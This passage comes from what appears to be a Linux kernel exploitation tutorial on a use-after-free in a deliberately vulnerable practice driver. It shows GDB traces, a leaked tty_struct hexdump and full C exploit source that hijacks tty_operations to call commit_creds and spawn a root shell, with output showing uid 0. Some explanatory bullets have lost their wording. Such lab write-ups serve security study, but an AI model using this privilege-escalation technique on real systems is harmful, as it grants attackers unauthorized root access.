  release = 0x0 <irq_stack_union>, fsync = 0x0 <irq_stack_union>, aio_fsync = 0x0 <irq_stack_union>, fasync =
0xffffffff814cf540 <pty_unthrottle>,
  lock = 0x0 <irq_stack_union>, sendpage = 0x0 <irq_stack_union>, get_unmapped_area = 0x0 <irq_stack_union>,
check_flags = 0x0 <irq_stack_union>,
  flock = 0xffffffff814cfd50 <pty_flush_buffer>, splice_write = 0x0 <irq_stack_union>, splice_read = 0x0
<irq_stack_union>, setlease = 0x0 <irq_stack_union>,
  fallocate = 0x0 <irq_stack_union>, show_fdinfo = 0x0 <irq_stack_union>}
(gdb) c
Continuing.

Breakpoint 6, alloc_tty_struct (driver=0xffff88003666bec0, idx=15) at /build/linux-lts-xenial-gUF4JR/linux-lts-
xenial-4.4.0/drivers/tty/tty_io.c:3142
3142        /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/drivers/tty/tty_io.c: No such file or
directory.
(gdb) c
Continuing.

Breakpoint 5, 0xffffffff814c6e59 in kmalloc (flags=<optimized out>, size=<optimized out>) at /build/linux-lts-
xenial-gUF4JR/linux-lts-xenial-4.4.0/include/linux/slab.h:458
458        /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/include/linux/slab.h: No such file or
directory.
(gdb) c
Continuing.

Breakpoint 6, alloc_tty_struct (driver=0xffff88003666be00, idx=16) at /build/linux-lts-xenial-gUF4JR/linux-lts-
xenial-4.4.0/drivers/tty/tty_io.c:3142
3142        /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/drivers/tty/tty_io.c: No such file or
directory.
(gdb) c
Continuing.

Breakpoint 5, 0xffffffff814c6e59 in kmalloc (flags=<optimized out>, size=<optimized out>) at /build/linux-lts-
xenial-gUF4JR/linux-lts-xenial-4.4.0/include/linux/slab.h:458
458        /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/include/linux/slab.h: No such file or
directory.
(gdb) c
Continuing.

Breakpoint 6, alloc_tty_struct (driver=0xffff88003666bec0, idx=16) at /build/linux-lts-xenial-gUF4JR/linux-lts-
xenial-4.4.0/drivers/tty/tty_io.c:3142
3142        /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/drivers/tty/tty_io.c: No such file or
directory.
(gdb) c
Continuing.
```

- **UAF Kernel heap .**

Memory leak

```
lazenca0x0@ubuntu:~/Kernel/Exploit/UAF$ ./PoC-3
01 54 00 00 01 00 00 00 00 00 00 00 00 00 00 00  | T
00 be 66 36 00 88 ff ff c0 13 87 81 ff ff ff ff  | ?f6??????????
0f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |
00 00 00 00 00 00 00 00 38 5c 9c 3a 00 88 ff ff  | 8\?:???
38 5c 9c 3a 00 88 ff ff 48 5c 9c 3a 00 88 ff ff  | 8\?:???H\?:???
48 5c 9c 3a 00 88 ff ff 60 97 5f 2c 00 88 ff ff  | H\?:???`?_,???
01 00 00 00 00 00 00 00 68 5c 9c 3a 00 88 ff ff  | h\?:???
68 5c 9c 3a 00 88 ff ff 00 00 00 00 00 00 00 00  | h\?:???
00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00  |
90 5c 9c 3a 00 88 ff ff 90 5c 9c 3a 00 88 ff ff  | ?\?:????\?:???
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |
01 00 00 00 00 00 00 00 b8 5c 9c 3a 00 88 ff ff  | ?\?:???
b8 5c 9c 3a 00 88 ff ff 00 00 00 00 00 00 00 00  | ?\?:???
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |
e0 5c 9c 3a 00 88 ff ff e0 5c 9c 3a 00 88 ff ff  | ?\?:????\?:???
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |
01 00 00 00 00 00 00 00 08 5d 9c 3a 00 88 ff ff  |]?:???
08 5d 9c 3a 00 88 ff ff 00 00 00 00 00 00 00 00  |]?:???
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |
00 00 00 00 00 00 00 00 bf 00 00 00 00 00 00 00  | ?
00 03 1c 7f 15 04 00 01 00 11 13 1a 00 12 0f 17  |
16 00 00 00 00 96 00 00 00 96 00 00 00 00 00 00  | ??
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |
70 74 6d 31 35 00 00 00 00 00 00 00 00 00 00 00  | ptm15
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |
01 08 01 00 00 00 00 00 01 00 00 00 00 00 00 00  |
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |
00 00 00 00 00 00 00 00 00 50 99 3a 00 88 ff ff  | P?:???
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |
00 00 00 00 00 00 00 00 38 5e 9c 3a 00 88 ff ff  | 8^?:???
38 5e 9c 3a 00 88 ff ff 00 00 00 00 00 00 00 00  | 8^?:???
50 5e 9c 3a 00 88 ff ff 50 5e 9c 3a 00 88 ff ff  | P^?:???P^?:???
e0 ff ff ff 0f 00 00 00 68 5e 9c 3a 00 88 ff ff  | ????h^?:???
68 5e 9c 3a 00 88 ff ff 20 51 4c 81 ff ff ff ff  | h^?:??? QL?????
00 40 22 01 00 c9 ff ff 98 5c 57 3b 00 88 ff ff  | @"????\W;???
f0 14 c3 34 00 88 ff ff f0 14 c3 34 00 88 ff ff  | ??4?????4???
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |
00 00 00 00 00 00 00 00 e0 ff ff ff 0f 00 00 00  | ????
c0 5e 9c 3a 00 88 ff ff c0 5e 9c 3a 00 88 ff ff  | ?^?:????^?:???
10 6e 4c 81 ff ff ff ff 00 aa b9 0a 00 88 ff 00  | nL???????
??
lazenca0x0@ubuntu:~/Kernel/Exploit/UAF$
```

Checking memory values in GDB

```
Breakpoint 5, 0xffffffff814c6e59 in kmalloc (flags=<optimized out>, size=<optimized out>) at /build
/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/include/linux/slab.h:458
458        /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/include/linux/slab.h: No such file or
directory.
(gdb) x/736bx 0xffff88003a9c5c00
0xffff88003a9c5c00:        0x01        0x54        0x00        0x00        0x02        0x00
0x00        0x00
0xffff88003a9c5c08:        0x00        0x00        0x00        0x00        0x00        0x00
0x00        0x00
0xffff88003a9c5c10:        0x00        0xbe        0x66        0x36        0x00        0x88
0xff        0xff
0xffff88003a9c5c18:        0xc0        0x13        0x87        0x81        0xff        0xff
0xff        0xff
```

```
0xffff88003a9c5c20:        0x0f        0x00        0x00        0x00        0x00        0x00
0x00        0x00
0xffff88003a9c5c28:        0x00        0x00        0x00        0x00        0x00        0x00
0x00        0x00
0xffff88003a9c5c30:        0x00        0x00        0x00        0x00        0x00        0x00
0x00        0x00
0xffff88003a9c5c38:        0x38        0x5c        0x9c        0x3a        0x00        0x88
0xff        0xff
0xffff88003a9c5c40:        0x38        0x5c        0x9c        0x3a        0x00        0x88
0xff        0xff
0xffff88003a9c5c48:        0x48        0x5c        0x9c        0x3a        0x00        0x88
0xff        0xff
0xffff88003a9c5c50:        0x48        0x5c        0x9c        0x3a        0x00        0x88
0xff        0xff
0xffff88003a9c5c58:        0x60        0x97        0x5f        0x2c        0x00        0x88
0xff        0xff
0xffff88003a9c5c60:        0x01        0x00        0x00        0x00        0x00        0x00
0x00        0x00
0xffff88003a9c5c68:        0x68        0x5c        0x9c        0x3a        0x00        0x88
0xff        0xff
0xffff88003a9c5c70:        0x68        0x5c        0x9c        0x3a        0x00        0x88
0xff        0xff
0xffff88003a9c5c78:        0x00        0x00        0x00        0x00        0x00        0x00
0x00        0x00
0xffff88003a9c5c80:        0x00        0x00        0x00        0x00        0x00        0x00
0x00        0x00
0xffff88003a9c5c88:        0x00        0x00        0x00        0x00        0x00        0x00
0x00        0x00
0xffff88003a9c5c90:        0x90        0x5c        0x9c        0x3a        0x00        0x88
0xff        0xff
0xffff88003a9c5c98:        0x90        0x5c        0x9c        0x3a        0x00        0x88
0xff        0xff
0xffff88003a9c5ca0:        0x00        0x6e        0x3b        0x0e        0x00        0x88
0xff        0xff
0xffff88003a9c5ca8:        0x00        0x00        0x00        0x00        0x00        0x00
0x00        0x00
0xffff88003a9c5cb0:        0x01        0x00        0x00        0x00        0x00        0x00
0x00        0x00
0xffff88003a9c5cb8:        0xb8        0x5c        0x9c        0x3a        0x00        0x88
0xff        0xff
0xffff88003a9c5cc0:        0xb8        0x5c        0x9c        0x3a        0x00        0x88
0xff        0xff
0xffff88003a9c5cc8:        0x00        0x00        0x00        0x00        0x00        0x00
0x00        0x00
0xffff88003a9c5cd0:        0x00        0x00        0x00        0x00        0x00        0x00
0x00        0x00
0xffff88003a9c5cd8:        0x00        0x00        0x00        0x00        0x00        0x00
0x00        0x00
0xffff88003a9c5ce0:        0xe0        0x5c        0x9c        0x3a        0x00        0x88
0xff        0xff
0xffff88003a9c5ce8:        0xe0        0x5c        0x9c        0x3a        0x00        0x88
0xff        0xff
0xffff88003a9c5cf0:        0x00        0x00        0x00        0x00        0x00        0x00
0x00        0x00
0xffff88003a9c5cf8:        0x00        0x00        0x00        0x00        0x00        0x00
0x00        0x00
0xffff88003a9c5d00:        0x01        0x00        0x00        0x00        0x00        0x00
0x00        0x00
0xffff88003a9c5d08:        0x08        0x5d        0x9c        0x3a        0x00        0x88
0xff        0xff
0xffff88003a9c5d10:        0x08        0x5d        0x9c        0x3a        0x00        0x88
0xff        0xff
0xffff88003a9c5d18:        0x00        0x00        0x00        0x00        0x00        0x00
0x00        0x00
0xffff88003a9c5d20:        0x00        0x00        0x00        0x00        0x00        0x00
0x00        0x00
0xffff88003a9c5d28:        0x00        0x00        0x00        0x00        0x00        0x00
0x00        0x00
0xffff88003a9c5d30:        0x00        0x00        0x00        0x00        0x00        0x00
0x00        0x00
0xffff88003a9c5d38:        0x00        0x00        0x00        0x00        0x00        0x00
```

```
0x00        0x00
0xffff88003a9c5d40:        0x00        0x00        0x00        0x00        0x00        0x00
0x00        0x00
0xffff88003a9c5d48:        0x00        0x00        0x00        0x00        0x00        0x00
0x00        0x00
0xffff88003a9c5d50:        0x00        0x00        0x00        0x00        0x00        0x00
0x00        0x00
0xffff88003a9c5d58:        0x00        0x00        0x00        0x00        0x00        0x00
0x00        0x00
0xffff88003a9c5d60:        0x00        0x00        0x00        0x00        0x00        0x00
0x00        0x00
0xffff88003a9c5d68:        0x00        0x00        0x00        0x00        0x00        0x00
0x00        0x00
0xffff88003a9c5d70:        0x00        0x00        0x00        0x00        0x00        0x00
0x00        0x00
0xffff88003a9c5d78:        0x00        0x00        0x00        0x00        0x00        0x00
0x00        0x00
0xffff88003a9c5d80:        0x00        0x00        0x00        0x00        0x00        0x00
0x00        0x00
0xffff88003a9c5d88:        0x00        0x00        0x00        0x00        0x00        0x00
0x00        0x00
0xffff88003a9c5d90:        0x70        0x74        0x6d        0x31        0x35        0x00
0x00        0x00
0xffff88003a9c5d98:        0x00        0x00        0x00        0x00        0x00        0x00
0x00        0x00
0xffff88003a9c5da0:        0x00        0x00        0x00        0x00        0x00        0x00
0x00        0x00
0xffff88003a9c5da8:        0x00        0x00        0x00        0x00        0x00        0x00
0x00        0x00
0xffff88003a9c5db0:        0x00        0x00        0x00        0x00        0x00        0x00
0x00        0x00
0xffff88003a9c5db8:        0x00        0x00        0x00        0x00        0x00        0x00
0x00        0x00
0xffff88003a9c5dc0:        0x00        0x00        0x00        0x00        0x00        0x00
0x00        0x00
0xffff88003a9c5dc8:        0x00        0x00        0x00        0x00        0x00        0x00
0x00        0x00
0xffff88003a9c5dd0:        0x00        0x00        0x00        0x00        0x00        0x00
0x00        0x00
0xffff88003a9c5dd8:        0x00        0x00        0x00        0x00        0x00        0x00
0x00        0x00
0xffff88003a9c5de0:        0x00        0x00        0x00        0x00        0x00        0x00
0x00        0x00
0xffff88003a9c5de8:        0x00        0x00        0x00        0x00        0x00        0x00
0x00        0x00
0xffff88003a9c5df0:        0x00        0x00        0x00        0x00        0x00        0x00
0x00        0x00
0xffff88003a9c5df8:        0x00        0x00        0x00        0x00        0x00        0x00
0x00        0x00
0xffff88003a9c5e00:        0x00        0x00        0x00        0x00        0x00        0x00
0x00        0x00
0xffff88003a9c5e08:        0x00        0x00        0x00        0x00        0x00        0x00
0x00        0x00
0xffff88003a9c5e10:        0x00        0x00        0x00        0x00        0x00        0x00
0x00        0x00
0xffff88003a9c5e18:        0x00        0x00        0x00        0x00        0x00        0x00
0x00        0x00
0xffff88003a9c5e20:        0x00        0x00        0x00        0x00        0x00        0x00
0x00        0x00
0xffff88003a9c5e28:        0x00        0x00        0x00        0x00        0x00        0x00
0x00        0x00
0xffff88003a9c5e30:        0x00        0x00        0x00        0x00        0x00        0x00
0x00        0x00
0xffff88003a9c5e38:        0x38        0x5e        0x9c        0x3a        0x00        0x88
0xff        0xff
0xffff88003a9c5e40:        0x38        0x5e        0x9c        0x3a        0x00        0x88
0xff        0xff
0xffff88003a9c5e48:        0x00        0x00        0x00        0x00        0x00        0x00
0x00        0x00
0xffff88003a9c5e50:        0x50        0x5e        0x9c        0x3a        0x00        0x88
0xff        0xff
```

```
0xffff88003a9c5e58:        0x50        0x5e        0x9c        0x3a        0x00        0x88
0xff        0xff
0xffff88003a9c5e60:        0xe0        0xff        0xff        0xff        0x0f        0x00
0x00        0x00
0xffff88003a9c5e68:        0x68        0x5e        0x9c        0x3a        0x00        0x88
0xff        0xff
0xffff88003a9c5e70:        0x68        0x5e        0x9c        0x3a        0x00        0x88
0xff        0xff
0xffff88003a9c5e78:        0x20        0x51        0x4c        0x81        0xff        0xff
0xff        0xff
0xffff88003a9c5e80:        0x00        0x00        0x00        0x00        0x00        0x00
0x00        0x00
0xffff88003a9c5e88:        0x00        0x00        0x00        0x00        0x00        0x00
0x00        0x00
0xffff88003a9c5e90:        0x90        0x5e        0x9c        0x3a        0x00        0x88
0xff        0xff
0xffff88003a9c5e98:        0x90        0x5e        0x9c        0x3a        0x00        0x88
0xff        0xff
0xffff88003a9c5ea0:        0x00        0x00        0x00        0x00        0x00        0x00
0x00        0x00
0xffff88003a9c5ea8:        0x00        0x00        0x00        0x00        0x00        0x00
0x00        0x00
0xffff88003a9c5eb0:        0x00        0x00        0x00        0x00        0x00        0x00
0x00        0x00
0xffff88003a9c5eb8:        0xe0        0xff        0xff        0xff        0x0f        0x00
0x00        0x00
0xffff88003a9c5ec0:        0xc0        0x5e        0x9c        0x3a        0x00        0x88
0xff        0xff
0xffff88003a9c5ec8:        0xc0        0x5e        0x9c        0x3a        0x00        0x88
0xff        0xff
0xffff88003a9c5ed0:        0x10        0x6e        0x4c        0x81        0xff        0xff
0xff        0xff
0xffff88003a9c5ed8:        0x00        0x00        0x00        0x00        0x00        0x00
0x00        0x00
(gdb)
```

Exploit method

- **ROP Exploit .**

- UAF .
  - kmalloc() .
  - kfree() .
- User fork() .
  - fork() , struct cred UAF (?) .
- UAF struct cred .

- .

- "struct cred"

Size of "cred" structure

- **"tty_struct" .**

The size of the tty_struct structure

```
(gdb) p sizeof(struct tty_struct)
$1 = 736
(gdb)
```

Exploit code

exploit-3.c

```
//gcc -masm=intel -static -o exploit-3 exploit-3.c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <stdint.h>
#include "chardev.h"

#define DEVICE_FILE_NAME "/dev/chardev0"

void *(*prepare_kernel_cred)(void *) ;
int (*commit_creds)(void *) ;
void *fake_tty_operations[30];

void get_root()
{
    commit_creds(prepare_kernel_cred(NULL));
}

void *kallsym_getaddr(char *name)
{
    FILE *fp;
    void *addr;
    char sym[512];

    fp = fopen("/proc/kallsyms", "r");
    while (fscanf(fp, "%p %*c %512s\n", &addr, sym) > 0) {
        if (strcmp(sym, name) == 0) {
            break;
        }else{
            addr = NULL;
        }
    }
    fclose(fp);
    return addr;
}

int main(){
    int i = 0, j;

    //Find the address of "prepare_kernel_cred()"
    prepare_kernel_cred = kallsym_getaddr("prepare_kernel_cred");
    if(prepare_kernel_cred == 0)
    {
        printf("failed to get prepare_kernel_cred address\n");
        return 0;
    }

    //Find the address of "commit_creds()"
    commit_creds = kallsym_getaddr("commit_creds");
    if(commit_creds == 0)
    {
        printf("failed to get commit_creds address\n");
        return 0;
```

```
    }

    printf("prepare_kernel_cred = %p\n", prepare_kernel_cred);
    printf("commit_creds = %p\n", commit_creds);

    //Set the fake "tty_operations" structure.
    for(i = 0; i < 30; i++)
    {
        fake_tty_operations[i] = 0;
    }

    //Save the address of get_root() function in "tty_operations.unlocked_ioctl".
    fake_tty_operations[12] = (size_t)get_root;

    int fd1;
    if ((fd1 = open(DEVICE_FILE_NAME, O_RDWR)) < 0){
        printf("Cannot open /dev/chardev0. Try again later.\n");
    }

    ioctl(fd1, KMALLOC, 0x2e0);
    ioctl(fd1, KFREE);

    int fd_tty;
    if ((fd_tty = open("/dev/ptmx", O_RDWR|O_NOCTTY)) < 0){
        printf("Cannot open /dev/chardev0. Try again later.\n");
    }

    //Overwrite the address of the fake "file_operations" in the "tty_struct.ops".
    size_t fake_tty_struct[4] = {0};
    read(fd1, fake_tty_struct, 32);
    fake_tty_struct[3] = (size_t)fake_tty_operations;
    write(fd1,fake_tty_struct, 32);

    //Call the ioctl(ioctl -> unlocked_ioctl -> get_root)
    ioctl(fd_tty, 0, 0);

    printf("getuid() = %d\n", getuid());
    execl("/bin/sh", "sh", NULL);

    if (close(fd1) != 0){
        printf("Cannot close.\n");
    }

    if (close(fd_tty) != 0){
        printf("Cannot close.\n");
    }
    return 0;
}
```

Get root!

```
lazenca0x0@ubuntu:~/Kernel/Exploit/UAF$ ./exploit-3
prepare_kernel_cred = 0xffffffff8109da40
commit_creds = 0xffffffff8109d760
getuid() = 0
# id
uid=0(root) gid=0(root) groups=0(root)
#
```

References

- https://ctf-wiki.github.io/ctf-wiki/pwn/linux/kernel/kernel_uaf/
- https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/kernel/CISCN2017-babydriver
- http://p4nda.top/2018/10/11/ciscn-2017-babydriver/

Unknown macro: 'html'